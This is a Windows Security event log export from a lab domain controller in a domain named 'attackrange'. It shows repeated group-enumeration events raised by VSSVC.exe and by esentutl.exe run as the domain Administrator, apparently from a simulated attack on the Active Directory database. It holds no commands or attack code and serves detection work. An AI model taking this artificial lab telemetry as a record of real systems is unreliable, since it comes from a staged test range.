Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257947
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257946
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257945
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257944
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257943
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257942
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257941
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257940
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257939
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257938
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257937
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257936
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257935
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257934
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257933
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257932
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257931
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257930
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257929
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257928
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257927
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257926
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257925
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257924
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257923
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257922
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257921
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257920
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257919
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257918
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257917
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257916
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa10
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k swprv

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257915
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257914
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258044
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258043
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258042
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258041
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258040
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258039
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258038
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258037
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258036
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258035
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
